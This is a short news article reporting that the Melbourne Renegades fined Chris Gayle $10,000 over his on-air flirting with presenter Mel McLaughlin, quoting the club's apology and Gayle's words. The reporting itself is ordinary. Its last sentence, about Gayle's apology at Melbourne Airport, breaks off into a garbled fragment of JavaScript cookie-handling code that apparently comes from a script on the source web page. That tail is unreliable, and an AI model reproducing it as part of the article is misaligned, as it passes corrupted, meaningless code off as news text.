Chris Gayle has been fined $10,000 by the Melbourne Renegades for the comments he made during last night's Big Bash coverage.
The money will be donated to the McGrath Foundation in honour of Jane McGrath Day.
The club has also extended a formal apology to Mel McLaughlin.
“Chris’s comments were completely inappropriate and disrespectful. There is simply no place for these type of comments at the Melbourne Renegades,” Renegades chief executive Stuart Coventry said in a statement.
“The club would like to extend a formal apology to Mel McLaughlin. Mel is an outstanding sports presenter. We think of her very highly and the club and players will ensure we work with her in a professional and respectful manner in future.
“We’ve had several discussions with Chris over the past day and he has acknowledged that his comments were out of line. We would also like to formally apologise to our members, supporters and the wider public for offence caused. The club is based on values of respect towards every member of the community.
“As a result of his comments, the Renegades have fined Chris $10,000 for inappropriate conduct. The club will subsequently donate this amount to the McGrath Foundation in recognition of Jane McGrath day today.”
After being dismissed for 41 off 15 balls last night, Gayle was interviewed by sports reporter Mel McLaughlin on the sidelines when he flirted with with the female presenter, dividing social media.
“I wanted to have an interview with you as well, that’s why I’m here,” Gayle said to McLaughlin.
“I get to see your eyes for the first time, it’s nice. Hopefully we can win and go for a drink after.
“Don’t blush baby.”
McLaughlin, visibly uncomfortable at the comments, responded by saying, "I'm not blushing," before finishing the interview with class.
Gayle made a public apology at Melbourne Airport this morning. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
